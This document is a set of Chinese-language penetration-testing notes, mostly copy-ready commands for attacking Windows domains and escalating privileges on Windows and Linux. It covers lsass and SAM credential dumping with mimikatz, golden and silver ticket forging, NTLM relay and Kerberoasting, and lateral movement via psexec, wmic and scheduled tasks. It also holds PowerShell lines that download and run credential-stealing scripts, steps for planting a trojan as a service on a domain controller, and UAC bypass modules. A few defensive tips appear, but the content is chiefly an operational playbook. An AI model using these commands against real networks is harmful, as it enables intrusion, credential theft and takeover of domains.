渗透

渗透

基础知识

密码相关

image-20240819104453066

image-20240817201648187

Ntds.dit:域控下才有,包含域用户,组合组成员,凭据,gpp,被注册表下的密钥对加密的用户hash(破解需要导出system.hive文件)等信息,位于%SystemRoot%\ntds\ntds.di

sam:工作组环境中存储用户密码

ntdsutil :卷影拷贝服务工具,建立以上被windwos锁定的二者的快照以后面抓取

NTFS:微软专用的文件系统

DCSync:通过域同步服务的GetNCChanges接口获得完整的域用户Hash列表。

所有dump密码都是围绕着

  • Lsass内存Dump
  • NTDS文件解密
  • 域同步获取hash

LM Hash

结构 username:RID:LM-HASH:NTLM-HASH:LM Hash:DES,

如果要停止使用 LM Hash,将用户的密码设置为 14 位以内, “ab35454a3435451404046” (表示 LMHash 为空值或被禁用)。

2008 开始默认禁用,个人版从 Windows Vista 以后,服务器版从 Wndows Sever 2003 后使用 NTLM Hash

身份认证

kerberos

当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,验证通过后 AS 会发放的一个 TGT,随后 Client 再次向 TGS 证明自己的身份,验证通过后 TGS 会发放一个 ST,最后 Client 向 Server 发起认证请求,这个过程分为三块:
Client 与 AS 的交互,
Client 与 TGS 的交互,
Client 与 Server 的交互。
黄金票据是伪造 TGT,白银票据则是伪造 ST

一个获得通用的身份,一个获得访问服务的权限

截图

LocalAccountTokenFilterPolicy

组环境下,Windows Vista以后的操作系统中,注册表中默认没有这个值,当administrator之外的用户连接护得到删除管理员凭证的令牌导致无法连接

1
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

通过以上命令添加

网络通信

两台计算机间的通信,其实是两台计算机中应用程序(进程)与应用程序(进程)间的通信。但“IP 地址”仅能定位到计算机,如何定位到应用程序(进程)呢?答案是“协议 + 端口”。
如果你对同源策略有所了解就能马上反应过来,这就是 IP + 协议 + 端口
Socket 就是一个类,封装了许多功能函数,当需要建立连接进行通信时,它会先进行初始化,然后通过内置的功能函数建立连接并完成通信(打开、读/写 IO、关闭),其中就包含了 TCP 的三次握手。
正向代理和反向代理本质上并无区别,正向代理即客户端代理,代理客户端,服务端不知道实际发起请求的客户端。反向代理即服务端代理,代理服务端,客户端不知道实际提供服务的服务端。
正向代理可以隐藏用户的信息,并能够将其作为跳板访问我们无法访问的资源,如翻墙。反向代理可以隐藏服务器的信息,保障了内网的安全,同时能够用来实现负载均衡。(负载均衡也是防御 DOS 攻击的一种方式),对于反向代理而言,客户端不知道请求的目标主机真正 ip
地址转换与端口映射中,静态NAT 是路由器上手动配置,一个内网地址和一个公网地址相关联,一一对应。动态NAT 是路由器上配置一个公网 IP 地址池,当内网地址访问外网时从地址池里获取公网 IP 进行映射。当公网 IP 地址池分配完时,只能等待被占用的公网 IP 被释放后,其他主机才能获取公网 IP 访问公网。这种将源地址进行转换的方式也可称之为 SNAT(源地址转换)。NAPT 网络地址端口转换 是允许多个内网地址映射到同一个公网 IP 的不同端口。这种将源地址和端口进行转换的方式也可称之为 SNAPT(源地址端口转换)。
端口转发,有时被叫做隧道,是安全壳(SSH)为网络安全通信使用的一种方法。在内网中,是没有办法直接访问外网的。但是我们可以通过路由器的 NAT 方式访问外网。
内网穿透是当想要访问内部网络但又没有权限去操作防火墙做端口映射的情况的时候,就需要搭建一条隧道来做端口转发和流量转发。
正向 socks:当一个机器同时存在内外网 IP 时就能在外网通过正向连接去访问其它内网机器,而且这里跳板机就相当于正向代理。因为对于攻击者来说它是可知的,而对于内网机来说,它们并不知道它们返回给跳板机的响应又被发送给了攻击者。

截图

反弹 socks:当目标机器没有公网 IP,但可访问内网资源时。攻击者可以在内网跳板机上运行 EarthWorm 使其反弹到某台对外连接的内网服务器上,然后攻击者再通过外网连接到对外服务器进而进入到内网中。这里公网服务器既是正向代理也是反向代理。对于攻击者来说它是可知的,因为我们要通过它访问我们无法访问的资源;对于内网服务器(跳板机)来说它也是可知的,因为我们是在内网服务器(跳板机)上执行的反弹命令,使其反向连接到公网服务器上。而内网服务器(跳板机)在这里充当的仅是公网服务器的正向代理,因为它对于公网服务器来说是可知的,而对于其他内网机来说则是不可知的。

截图

主机用户:活动目录中的主机,也叫机器用户

服务账户:将服务运行起来并加入域时用到的账户,例如 mysql 账户

委派

将域内用户账户的权限给予服务账户

非约束性

服务用户获得了用户的 TGT,获得了该用户所有的访问权限

1.域控默认配置

2.需要 SeEnableDelegationPrivilege 特权,该特权默认仅授予域管理员和企业管理员

约束性

只获取了 ST,只能访问特定服务

分类

  1. 仅使用 Kerberos,不能进行协议转换
  2. 使用任何身份验证协议

基于资源的约束性

嗅探

利用广播和 respondor

windows 解析主机名:查看本地 hosts 查看 DNS 缓存和服务器 利用 LLMNR 或者 netbios

当内网中没有 dns 协议的时候,广播协议降级为 LLMN2 或者 netbios

可以构造一个 scf 恶意文件,触发降级的广播协议,respondor 截取到 ntlm hash

基本流程

  1. 打点拿下跳板机

  2. net user /domain 确认位置,寻找存活主机

  3. 提权,提取 hash

  4. 横向移动,拿下更多机子以及定位 dc 位置

  5. 提权域管,拿下 dc 后提前

  6. PTT 维权,清理日志

信息收集

外网部分

  • whois查询

  • 备案号

  • c段 旁站

    1
    2
    c段:可以通过在线网站记录或者暴力扫描
    旁站:同一服务器但是不同站点,需要定位资产,在线网站查询
  • 绕过CDN查真实ip

  • 网站架构:服务器版本,中间件,框架

  • 二级域名

  • waf

  • 数据库版本

判断靶标系统

大小写

windows 不敏感

TTL

Ping windows 一般 ttl 大于 100

脆弱端口

截图

linux

image-20240819104247117

• 网络链接、进程、计划任务、凭证信息(shadow、私钥)、命令记录、管理员来源、hosts文件

• 用户目录、opt目录、根目录

• *.history (.bash_history .mysql_history)

• /proc/self/*

• env

windows

image-20240819104348776

localgroup administrators 本地管理员

domain admins 域管理员

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1. 网络配置 ipconfig /all 
2. 操作系统 systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
3. 软件信息 systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
4. 服务信息 wmic /namespace:\root\securitycenter2 pathantivirusproduct GET displayName,productState,pathToSignedProductExe
5. 用户列表 net user
6. 本地管理员信息 net localgroup administrators
7. 端口信息 netstat –ano
8. 补丁信息 wmic qfe get Caption,Description,HotFixID,InstalledOn
9. 查防火墙 netsh firewall show config
【域内信息收集】
1.是否有域:使用ipconfig /all命令可以查看网关IP地址、DNS的IP地址以及判断当前主机
2.是否在域内:通过反向解析查询命令nslookup来解析域名的IP地址,使用解析出来的IP地址进行对比,判断域控制器和 DNS服务器是否在同一台服务器上
3.登录域信息:net config workstation
4.ICMP探测内网:for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.174.%I | findstr "TTL="
5.查询域信息:net view /domain
6.查询域主机:net view /domain:XXX
7.查询域用户:net group /domain
8.查找域控:Nslookup -type=SRV _ldap._tcp net time /domain net group "Domain Controllers" /domain
9.查域用户信息:net user /domain
11.查询域管理员:net group "Domain Admins" /domain
12.查询域sid信息:whoami /all

• 网络链接、进程、凭证信息(hash、明文)、管理员来源、用户信息、组信息、共享

• 用户目录、 downlaod、desktop、document、recent

• 程序目录 ProgramData 、appdata(roaming、local)

• Wmic 命令系列

• Net 命令系列

• %windir%\system32*.exe

隧道搭建

https://www.freebuf.com/articles/web/269523.html
https://xz.aliyun.com/t/12498?time__1311=mqmhD5AKYKBKDKG%3DD%2FzTy8%3D8E54Qq%2BD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-2

分类

frp、ew、ssh、Neo-reGeorg、netsh、Lcx
网络层:Ipv6 情况、icmp 情况、Gre 隧道
传输层:Tcp 隧道、udp 隧道 常规端口转发
应用层:ssh 隧道、http 隧道、https 隧道、dns 隧道

检测

TCP/UDP 协议:nc -zv nc -zvu(u 为 udp)

HTTP 协议: curl wget

ICMP 协议: ping

DNS 协议: nslookup 或者 dig @ip

搭建

ICMP 隧道

Pingtunnel:将 tcp/udp/sock5 流量伪装为 icmp

服务器上开启服务

1
sudo ./pingtunnel -type server -key [密钥,只限数字]

客户端上连接服务器

1
pingtunnel.exe -type client -l :[转发本机2222端口作为ICMP隧道通讯端口] -s [服务端IP] -[转发类型] 1 -noprint 1 -nolog 1
1
2
3
4
ICMP转发为TCP
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
ICMP转发为UDP
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455

DNS 隧道

dnscat2,原理:将数据通过 DNS 协议传输,需要一个独立的子域名通信,需要配置子域名后开放 udp,tcp53 端口,添加 A 记录和 NS 记录

SSH 隧道

本地端口转发

1.修改攻击机和跳板机 ssh 配置

1
2
3
4
5
6
7
8
9
10
攻击机
vi /etc/ssh/sshd_config
--GatewayPorts no改成yes并且去掉注释
systemctl restart sshd.service
跳板机
AllowTcpForwarding yes # 允许转发TCP协议
GatewayPorts yes # 允许远程主机连接本地转发端口
PermitRootLogin yes # 允许root登录
TCPKeepAlive yes # 保持心跳,防止ssh断开
systemctl restart sshd.service
1
ssh -CfNg -L [本机端口]:[隧道访问的内网主机]:[隧道访问的内网主机端口] [双网卡跳板机SSH连接命令]

截图

1
2
检查跳板机端口工作状态
netstat -tulnp | grep 端口
1
2
本机连接跳板机端口(ssh填内网机器)
ssh -p 8888 root@127.0.0.1

远程端口转发

1
2
3
4
跳板机建立端口转发
ssh -R [远程主机端口]: [目标主机]: [目标主机端口] [攻击者主机ssh]
攻击机直接连接内网
ssh -p 2222 root@127.0.0.1

动态转发

SOCKS 隧道

HTTP 隧道

横向移动

【内网渗透】横向移动基础-远程执行 (qq.com)

https://mp.weixin.qq.com/s/Cn0RcDgymcXpYsIacqJqmA

image-20240819104900689

端口分类

135:rpc协议(远程过程调用)支持wmi(windwos管理接口)

wmic /node:172.18.2.44 /user:"user" /password:"pass" process call create "cmd.exe /c whoami“

日志少,配合wmihacker等工具

445:ipc共享

1
2
3
4
5
(基础连接)net use \\IP\ipc$ /u:"username" password

(远程服务)sc \\172.18.2.44 create xxx binpath= “cmd.exe /c c:\1.bat”

(远程计划任务): schtasks /create /tn test /tr calc.exe /sc /s 192.168.120.150 /u administrator /p test /ru system

直接配合psexec,atexec,smbexec

atexec:明文密码或hash,计划任务

psexec:admin$共享,写文件

smbexec:明文密码或hash,服务

5985:WinRM(windwos远程管理)协议

winrs -r:172.18.2.44 -u:localhost\administrator -p:p@ssw0rd ipconfig

内网横向下的135,445与5985端口利用 - 先知社区 (aliyun.com)

其中 wmiexec,crackmapExec同时利用了135和445与admin$共享,他们通过smb回传结果

用户名枚举

利用 AS-REQ 包错误代码

kerbrute msf(kerberos_enumusers)

密码喷洒

获得密码后攻击不同用户

CrackMapExec kerbrute msf(smb_login)

防护:事件 ID 为 4768 且结果代码为 0x0 的审核成功的 Kerberos 身份验证服务事件日志

AS-REP Roasting

没开启 kerberos 预身份验证,向域控 88 端口请求票据(rubeus ASPERoast.ps1 Adfind)后本地离线爆破(john hashcat)

防护:

  • 取消勾选“不要求 kerberos 预身份认证”选项
  • 重点关注事件 ID 为 4768 且预身份验证为 0 的日志

Kerberoasting

获取 ST 后爆破 hash

普通默认机器可以注册 spn,但是普通域用户需要权限,攻击需要域内用户,所有用户都可以查询 spn

1.获取 SPN(ServicePrincipal Names)服务主体名称(RiskySPN GetUserSPNs PowerView setspn)

2.请求服务票据(impacket.GetUserSPNs,Rubeus,POWERSHELL)

3.导出(cmd.Klist,kerbero,mimikatz,Empire)

4.破解(kerberoast hashcat)

防护:

  • 确保服务账户和密码为强密码
  • 对域内服务账户权限进行限制
  • 关注日志事件 ID 为 4769 的日志

委派

主机用户:活动目录中的主机,也叫机器用户

服务账户:将服务运行起来并加入域时用到的账户,例如 mysql 账户

委派:将域内用户账户的权限给予服务账户

查询:Powershgell 脚本,Adfind,Ldapsearch

NTLM RELAY(嗅探)

responder 嗅探流量

受害机器查询不存在的主机名称后抓到 hash

配合 srf 文件

打印机

域内任意用户访问目标机器的打印服务,printerbug.py 脚本会触发 SpoolService Bug,强制目标主机 AD 通过 MS-RPRNRPC 接口对攻击者进行 NTLM 身份认证。

1
python3 printerbug.py xuan/hack:p@ss1234@10.10.10.10 10.10.10.5

petitPotam

重放

利用以上手段获取到 ntlm hash 后 暴力破解之外可以使用中继的方式共计其他服务

SMB

工作组:

1
python3 ntlmrelayx.py -t smb://10.10.10.10 -smb3support --gpotato --gpotato-startup test.txt

域环境:

1
2
3
sudo python3 smbrelayx.py -h 10.10.10.30 -c hostname
python3.11 ntlmrelayx.py -t smb://10.10.10.30 -c hostname -smb2support
sudo python3 MultiRelay.py -t 10.10.10.30 -u ALL

还有 http ldap 等

IPC

利用条件

启动默认共享

用户账密

打开 445,139

基础利用

(查看目录和杀软)

1
2
3
4
net use \\目标IP\ipc$ "密码" /user:用户名
查看:net use
dir \\目标ip\c$
tasklist /S ip /U 用户 /P 密码

计划任务

at

1
2
3
4
查看时间 net time \\ip
复制恶意文件 copy 文件名 \\ip\C$
创建计划任务 at \\ ip 时间 路径
痕迹清理 at \\ip 任务号 /delete

Schtasks

创建计划任务

1
2
3
4
5
创建 schtasks /create /s ip /tn 计划名/sc onstart /tr c:\dayu.txt /ru system /f
运行 schtasks /run /s ip /i /tn "计划名"
指定ipc账号 /u /p
删除 schtasks /delete /s ip /tn "计划名" -f
痕迹清理 net use 名称 /del /y

Mimikatz

PTH

hash 传递到其他机子上,通过 445(SMB 文件共享端口)和 135 端口(RPC 服务共享)横向

CrackMapExec,MSF(SMB/PSEXEC),impacket-smbexec

1
2
目标机器上:sekurlsa::pth /user:administrator /domain:"xxx.com" /ntlm:6542d35ed5ff6ae5e75b875068c5d3bc  //自行修改
net use \\ip\c$

获取 hash

Mimikatz, msf(hashdump | windows/gather/smart_hashdump) cs sam 表

prodump (微软自带,抓取 lsass 后本地处理)

截图通过 SAM 和 System

1
2
3
4
手动
reg save hklm\sam sam.hive
reg save hklm\system system.hive
lsadump::sam /sam:sam.hive /system:system.hive #文件和mimikatz放在同一目录
1
2
3
4
5
6
7
8
9
10
11
12

mimikatz
privilege::debug #提升权限
token::elevate #system权限
lsadump::sam #读取本地SAM文件,获取NTML Hash

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" #在线读取散列值及明文密码

利用密码增添用户
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup
/ntlm:6c5fbeb7c83cf7afe04f8d7e38852d52

powershell

1
2
3
4
kali开启http
Python -m SimpleHTTPServer 80
远程调用
powershell IEX (New-Object Net.WebClient).DownloadString('ip/Invoke-Mimikatz.ps1');Invoke-Mimikatz

lsass.dmp

导出:

任务管理器

procdump

1
procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz

1
2
sekurlsa::minidump lsass.DMP    #看到Switch to MINIDUMP 加载成功
sekurlsa::logonPasswords full #导出密码散列值

Wdigest 明文抓取

截图

1
2
3
4
#开启
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#关闭
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

调整为 1 后重启即可查看明文密码(权限维持可用)

暴力

Hashcat 爆破

在线破解

1
2
3
https://www.objectif-securite.ch/en/ophcrack
https://www.cmd5.com/
http://www.xmd5.com/

黄金票据

知识点

在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个 Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的 NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和 Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过 AS 验证,不用验证账户和密码,所以也不担心域管密码修改。

条件

需要伪造的域管理员用户名
完整的域名
域 SID
krbtgt 的 NTLM Hash

信息收集

1
2
3
4
一.
klist purge #windows命令行下清除票据
net config workstation #获取登录域
nltest /dsgetdc:域名 #获取主机
1
2
3
4
二.抓NTLM Hash
mimikatz.exe
privilege::debug
lsadump::dcsync /domain:工作域 /all /csv
1
2
3
三.查看krbtgt用户的SID
1 lsadump::dcsync /domain:工作域 /user:krbtgt
2 wmic useraccount get name,sid

生成票据

mimikatz.exe “kerberos::golden /admin:systest /domain:xiyou.dayu.com /sid:S-1-5-21-1816246241-4074331134-2257350442 /krbtgt:39601ebdad1d3e960ed3712398d3ab3a /ticket:ticket.kirbi” exit

1
2
3
4
5
/admin:伪造的用户名(任意)
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称 //不是写入内存中的命令

注入

1
2
kerberos::purge
kerberos::ptt 票据名

白银票据

知识点

在 Kerberos 认证的第三步,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。 —> 通过 Server 用户 Hash 伪造一个 ST

条件

域名
域 SID(test)
目标服务器的 FQDN
可利用的服务
服务账号的 NTLM Hash
要伪造的用户名

信息收集

1
2
3
4
net config workstation 获取工作域
nltest /dsgetdc:域名 获取主机名
Whoami /all SID
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt 获取NTML hash

生成票据
kerberos::golden /domain:xiyou.dayu.com /sid:S-1-5-21-1816246241-4074331134-2257350442 /target:xiyou.xiyou.dayu.com /service:cifs /rc4:f5369b5accc878d9eedfcde13578e2fc /user:testw /ptt

1
2
3
4
5
6
/domain:域名
/sid:域的SID值
/target: 域控制器全称即FQDN
/service: 需要指定相关的服务名,此处为cifs
/rc4: 域控的计算机账户ntlm hash
/user: 要伪造的用户名,任意填写

截图

RDP 协议

① 查询注册表确定是否主机开启了远程桌面

1
2
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections 
ps: 若字段值为0,则表示已启动RDP;若为1,则表示禁用RDP

  ② 开启远程桌面

1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

  ③ 关闭“仅允许运行使用网络级别身份验证的远程桌面的计算机连接”(鉴权)

1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0

  ④ 设置防火墙策略放行 3389 端口

1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=338

RDP Hijack

  Windows 系统下,tscon 可被用来切换远程桌面的会话。正常情况下,切换会话时需要提供登录密码,但通过特殊的利用方法能够绕过验证,不输入密码实现未授权登录。
  可以通过 query user 来列出所有登录的用户列表,得到 id
  在 SYSTEM 权限下,使用 tscon <ID> 来切换用户不需要验证密码。

sharp RDP

  sharp rdp 可以通过远程桌面协议在远程主机上执行系统命令,且不需要 GUI 客户端。

  工具需要远程主机开启远程桌面功能,且防火墙放行 3389 端口

WMI

windows 自带一个工具集,默认不产生日志

WMI(Windows 管理规范)是一项核心的 Windows 管理技术。用户可以通过 WMI 管理本地和远程主机。
Windows 为传输 WMI 数据提供了两个可用的协议:分布式组件对象模型(DCOM)和 Windows 远程管理(WinRM)使得 WMI 对象的查询、事件注册、WMI 类方法的执行和类的创建等操作都能远程运行。

利用方法

  1. 通过调用 WMI 的类方法进行远程调用,如 Win32_Process 类中的 Create 方法可以在远程主机上创建进程,Win32_Product 类的 Install 方法可以在远程主机上安装恶意的 MSI
  2. 远程部署 WMI 事件订阅,在特定事件发生时触发

条件

1.远程主机的 WMI 服务为开启状态(默认开启)

2.远程主机防火墙放行 135 端口,这是 WMI 管理的默认端口

利用步骤

1.通过 WMI 查询远程主机上运行的进程信息

1
wmic /node:192.168.1.131 /user:Administrator /password:123456@ process list brief # /node 执行远程主机的地址

2.创建远程进程
通过调用 Win32_Process.Create 方法在远程主机上创建进程,启动 CMD 来执行命令
由于 WMIC 在执行命令时没有回显,因此可以将执行结果写入文件,然后通过别的方式读取文件

1
wmic /node:192.168.1.131 /user:Administrator /password:123456@ process call create "cmd.exe /c ipconfig > C:\result.txt"

3.远程安装 MSI 文件
通过调用 Win32_Product.Install 方法,可以控制远程主机安装恶意 MSI 文件,从而获得权限

1
wmic /node:192.168.1.131 /user:Administrator /password:123456@ product call instal

SMB 横向

  SMB(服务器消息块),又称 CIFS(网络文件共享系统),主要功能是使网络上的计算机能够共享计算机文件、打印机、串行端口和通信等资源。
  客户端与服务器建立连接后,客户端可以向服务器发送 SMB 命令允许用户访问共享、打开、读取或者是写入文件。
  SMB 消息一般使用 NetBIOS 协议或 TCP 发送,分别使用端口 139 或 445,目前倾向于使用 445 端口。

利用条件

  1. 445 端口开放
  2. 知道账号密码

利用步骤

1.建立 IPC 链接,psexec 需要明文或 hash 传递

1
2
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd //需要先有 ipc 链接 -s 以 System 权限运行

2.或者不用建立 IPC 直接提供明文账户密码

1
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd

MS14-068攻击

  MS14-068 基于漏洞,造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。

  Windows 域中使用 kerberos 协议过程中,为了让服务器判断 Client 是否有权限访问服务,微软在 Windows 平台上在 Kerberos 协议中增加了 PAC(Privilege Attribute Certificate)特权属性证书,也就是这个 PAC 造成了 MS14-068 这个漏洞。

  PAC 是用来验证 Client 的访问权限的,它会被放在 TGT 里发送给 Client,然后由 Client 发送给 TGS。

  漏洞允许经过身份验证的用户在其 Kerberos 票证(TGT)中插入任意的 PAC(表示所有用户权限的结构)。该漏洞位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)中。普通用户可以通过呈现具有改变了 PAC 的 Kerberos TGT 来获得票证,进而伪造票据获得管理员权限。

条件

  1. 域内任意用户 SID

      2. 域内任意用户密码

攻击流程

  1. 获得一个域用户 douser 的 SID

1
whoami /all

  2. 上传工具 ms14-068.exe,并执行命令生成 TGT 票据

1
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码

  3. 上传 mimikatz,利用 mimikatz 将票据注入到当前内存中伪造凭证

1
2
3
mimikatz # kerberos::purge          //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中

  4. 使用 net use 进行登录或者使用 psexec,wmi 等方法进行远程执行命令

1
net use \\WIN-ENS2VR5TR3N           //登录域控

  5. 上传一个正向的 msf 马,并将该木马 copy 到域控上去执行

1
copy c:\windows\system32\shell.exe \\WIN-ENS2VR5TR3N\c$

  6. 通过 sc 远程对域控创建服务来启动木马

1
2
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\shell.exe"
sc \\WIN-ENS2VR5TR3N start bindshell

其他

PsExec

起初用于运维,基本原理是通过管道在远程目标机器上创建一个 psexec 服务,并在本地磁盘中生成一个名为“PSEXESVC”的进制文件,通过 psexec 服务运行命令,运行结束后删除(大量日志)

Pth-winexe

smbexec

提权

Linux

GTFOBins

uid 提权

(find / -perm -u=s -type f 2>/dev/null)

1.常规

  • Nmap
  • Vim
  • find
  • Bash
  • More
  • Less
  • Nano
  • cp

2.strings/strace 追踪调用函数配合共享库注入/修改 path 劫持

bash<4.2 路径组合自定义函数

截图

bash<4.4 环境变量劫持

截图

sudo 提权

git help config (!/bin/bash 或者 !’sh’)完成提权

编写如下一个c文件

截图

截图

内核提权

自动任务提权

常规修改 sh 文件,相对路径劫持,配合 sh 文件内的命令

image-20240912111725061

例如会自动执行/usr/loca/bin/aaa.sh

但是可以创建一个/home/user/aaa.sh劫持

docker 提权

Passwd/shadow 提权

shadow 解密或者手动生成 passwd/shadow 密文

NFS 提权

windows

系统漏洞提权

通过 Webshell 命令行执行 systeminfo 命令查看系统是否打了提权补丁,可使用 exp 进行提权
通过 Webshell 找网站读写执行目录,把 cs 马或提权 exp 上传到对方服务器(如果 cmd 无法执行命令可单独上传 cmd.exe 到对方服务器,菜刀终端设置为 setpc:\XXX\cmd.exe)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#手工查找补丁情况
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

#MSF后渗透扫描
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester

#windows exploit suggester
https://github.com/AonCyberLabs/Windows-Exploit-Suggester

#powershell中的sherlock脚本
Import-Module C:\Sherlock.ps1 #下载ps1脚本,导入模块
Find-AllVulns

#Empire内置模块 Empire框架也提供了关于内核溢出漏洞提权的漏洞利用方法
usemodule privesc/powerup/allchecks
execute

其他工具
WES-NG
Sherlock

exp 在线查询

https://github.com/SecWiki/windows-kernel-exploits
https://bugs.hacking8.com/tiquan/
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation
https://www.exploit-db.com/
https://i.hacking8.com/tiquan/

组策略首选项

SYSVOL 是 AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL 包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为 SYSVOL 能在所有域控里进行自动同步和共享。

路径为:\\SYSVOL\\Policies\

image-20240912110205311

然后用kali#gpp-decrypt破解

组策略偏好 GPP

win2008 发布了 GPP(Group Policy Preferences),其中 GPP 最有用的特性,是在某些场景存储和使用凭据,其中包括:映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地 Administrator 密码
为方便对所有机器进行操作,网络管理员会使用域策略进行统一的配置和管理,那么所有机器的本地管理员密码就是一样的,造成了即使不知道密码的情况下也能修改组策略首选项的密码,也可以通过脚本破解组策略首选项文件中密码的漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
#Powershell获取cpassword
Get-GPPPassword.ps1

#PowerSploit 的 Get-GPPPassword模块 检索通过组策略首选项推送的帐户的明文密码和其他信息。
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
kali gpp-decrypt命令破解密码

#Msf
run post/windows/gather/credentials/gpp

#Empire
usemodule privesc/gpp

Bypass UAC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#Msf
exploit/windows/local/ask #弹出UAC确认窗口,点击后获得system权限

exploit/windows/local/bypassuac #此模块将通过进程注入使用可信任发布者证书绕过Windows UAC,它将生成关闭UAC标志的第二个shell。

exploit/windows/local/bypassuac_injection #此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()


exploit/windows/local/bypassuac_fodhelper#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。

exploit/windows/local/bypassuac_eventvwr#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()

exploit/windows/local/bypassuac_comhijack#此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL,这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项,这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件,因此,如果cmd.exe访问受到限制,此模块将无法正常运行。

#Powershell
Invoke-PsUACme

#Empire
usemodule privesc/bypassuac
usemodule privesc/bypassuac_wscript

#cs
uac-dll
uac-token-duplication

操作系统配置错误

管理员凭证配置错误
服务配置错误
故意削弱的安全措施
用户权限过高

1
2
3
4
5
# 存储Windows服务有关的信息 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
# 服务对应的程序路径存储
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名\ImagePath
# AlwaysInstallElevated 允许低权限用户以最高权限安装MSI文件

其他

  • sc 命令提权(administrator–>system)

​ 例如:sc Create syscmd binPath= “cmd /K start” type= own type=interactsc start systcmd 就得到了一个 system 权限的 cmd 环境

  • 不带引号的服务路径

    当服务路径带空格的时候,路径空格目录前面一断就会当作文件执行,如 C:\ProgramFiles\MSBuild 这个目录,攻击者只要在 c

    创建名为 Program.exe 的木马,最后只要系统重启就会执行 C:\Program.exe 文件。

  • 不安全的服务权限提升

    由于管理配置错误,用户可能对服务拥有过多的权限,例如用木马替换服务调用的默认文件。

  • 数据库提权

  • 访问令牌提权

权限维持

Linux

